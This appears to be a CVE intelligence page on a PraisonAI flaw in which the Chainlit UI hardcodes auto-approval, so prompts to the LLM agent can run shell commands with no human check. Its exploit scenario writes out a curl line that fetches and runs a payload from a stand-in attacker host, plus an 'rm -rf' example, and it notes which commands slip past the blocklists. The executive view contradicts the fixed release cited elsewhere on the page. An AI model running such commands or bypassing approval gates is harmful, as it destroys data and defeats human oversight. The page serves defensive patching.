Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach PraisonAI Chainlit UI
-
DeliveryAuthenticate (often default creds)
-
ExploitPrompt LLM agent for shell action
-
ExecutionACP auto-approves plan (override)
-
Persistsubprocess.run executes single command
-
ImpactRCE as server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires a reachable PraisonAI Chainlit web UI started via 'praisonai ui chat' or 'praisonai ui code' (the underlying agent_tools/action_orchestrator code paths used from the CLI or SDK are not affected by the hardcoded override) and valid authenticated UI credentials (PR:L) - the GHSA PoC notes default credentials as a starting condition. Exploitation further requires that the attacker's intended command be expressible as a single binary invocation without shell metacharacters ($, `, &&, ||, >, |, ;, &, newlines), since both _sanitize_command and _apply_step blocklists reject chained or substituted commands; this rules out direct piping but not rm/curl/wget/chmod/dd/python3 -c. No user interaction by another operator is needed because the approval gate is silently bypassed; the bug affects all PraisonAI versions before 4.5.128 on any platform where the UI runs. |
| Impact | Authoritative signals weigh moderately high: CVSS 4.0 base 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) reflects network-reachable, low-complexity, low-privilege RCE on the host running the UI. The flaw is confirmed by the upstream maintainer via GHSA-qwgj-rrpj-75xm and corroborated by VulnCheck's advisory, and a fixed release (4.5.128) is available - strong supply-chain confidence. Real-world risk is gated by the fact that exploitation requires a logged-in UI session (PR:L), so internet-exposed PraisonAI UIs (especially any left on default credentials, as referenced in the PoC prerequisites) are the high-risk population; internal lab/dev deployments are lower risk. EPSS and KEV status are not provided in the input, so widespread mass exploitation is not currently evidenced - treat as a priority patch for any production or internet-reachable PraisonAI deployments and a lower priority for air-gapped single-user installs. |
| Exploit ScenarioDerived | An attacker who obtains or already holds credentials to a PraisonAI Chainlit UI (e.g., a default-credential or internally exposed instance) opens a chat session and instructs the agent in natural language to 'run rm -rf /home/praison' or 'fetch and run a payload with curl http://attacker.example/p.sh -o /tmp/p && /bin/sh /tmp/p' - the latter chained form is blocked, but the single-argument curl, wget, dd, or chmod variants pass both sanitizers. Because approval_mode is hardcoded to 'auto', the orchestrator approves the plan with no human prompt and subprocess.run executes it as the PraisonAI server process user, giving the attacker RCE on the host. A working PoC outline is published in the GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 18, 2026
Arbitrary shell command execution in PraisonAI before 4.5.128 allows authenticated UI users to bypass the human-in-the-loop approval gate because the Chainlit chat and code UI modules hardcode approval_mode='auto' after loading administrator config from PRAISON_APPROVAL_MODE. Once auto-approved, prompts to the LLM agent reach subprocess.run with shell=True, and the existing blocklists only filter command chaining operators - leaving single destructive commands (rm -rf, curl, dd, chmod) executable. No public exploit identified at time of analysis beyond the vendor PoC; not currently listed in CISA KEV.
RemediationAI
Vendor-released patch: upgrade praisonai to 4.5.128 or later (pip install --upgrade praisonai), which restores honoring of the PRAISON_APPROVAL_MODE environment variable in the Chainlit UI modules; see GHSA-qwgj-rrpj-75xm. If immediate upgrade is not possible, compensating controls are: stop running 'praisonai ui chat' and 'praisonai ui code' (the CLI/SDK invocation paths are not in scope of this advisory), change default UI credentials and place the UI behind an authenticating reverse proxy or VPN to shrink the authenticated-attacker population, and as an in-place hotfix delete the 'config.approval_mode = "auto"' line in chat.py:158 and code.py:157 so PRAISON_APPROVAL_MODE=manual or scoped is actually enforced - side effect is that every ACP shell action will now prompt, which is the intended behavior but disruptive for automation flows that depended on silent auto-approve. Do not rely on the existing _sanitize_command/_apply_step blocklists as a control; they do not block single-command destructive binaries.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI is an open-source multi-agent LLM framework (PyPI package 'praisonai') that exposes a Chainlit-based web UI for chat and code agents. Its Agent Command Protocol (ACP) tool layer includes an approval orchestrator with three documented modes - auto, manual, scoped - read by ToolConfig.from_env() in interactive_tools.py. The flaw is rooted in CWE-863 (Incorrect Authorization): in chat.py:156-159 and code.py:155-158 the loaded config object is mutated with config.approval_mode='auto', so acp_execute_command in agent_tools.py:347 always evaluates auto_approve=True and the action_orchestrator calls subprocess.run(step.target, shell=True, cwd=workspace, timeout=30). Two sanitizers (_sanitize_command and _apply_step) block shell metacharacters ($, `, &&, ||, >, |, ;, &, newlines) but not single binary invocations, so any one-process destructive command passes.
Know when Praisonai gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
UI is network-reachable HTTP with low complexity; requires an authenticated UI account (PR:L); no user interaction; full RCE on host yields high C/I/A with unchanged scope.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.
Executive ViewAI
PraisonAI before version 4.5.128 contains a high-severity arbitrary command execution vulnerability affecting authenticated users. The vulnerability bypasses human-in-the-loop approval controls by hardcoding auto-approval mode, allowing authenticated users to execute destructive shell commands (rm -rf, dd, chmod) through the LLM agent interface. No public exploit identified at time of analysis, though the vendor has published proof-of-concept documentation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict PraisonAI UI access exclusively to named, authenticated administrators with MFA enabled; (2) disable shell=True in subprocess calls or implement strict allowlist-based command filtering to block dangerous operations; (3) run PraisonAI process with minimal OS-level privileges (non-root service account); (4) implement network egress filtering to prevent unauthorized outbound commands (curl, wget, nc); (5) enable real-time monitoring and alerting on all subprocess.run() execution; (6) disable auto-approval mode entirely, requiring manual administrator review of all LLM agent prompts until patch is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th
PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans
Unauthenticated authentication bypass in praisonai-platform prior to 0.1.6 (and PraisonAI before 4.6.51) allows a remote
WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att
Unauthenticated agent access in PraisonAI before 1.7.3 lets remote attackers read agent instructions and system prompts
PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne
System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection
Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller
SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou
Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv
Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec
Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u
EUVD-2026-37959
GHSA-gx4r-3wg8-9w5x
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB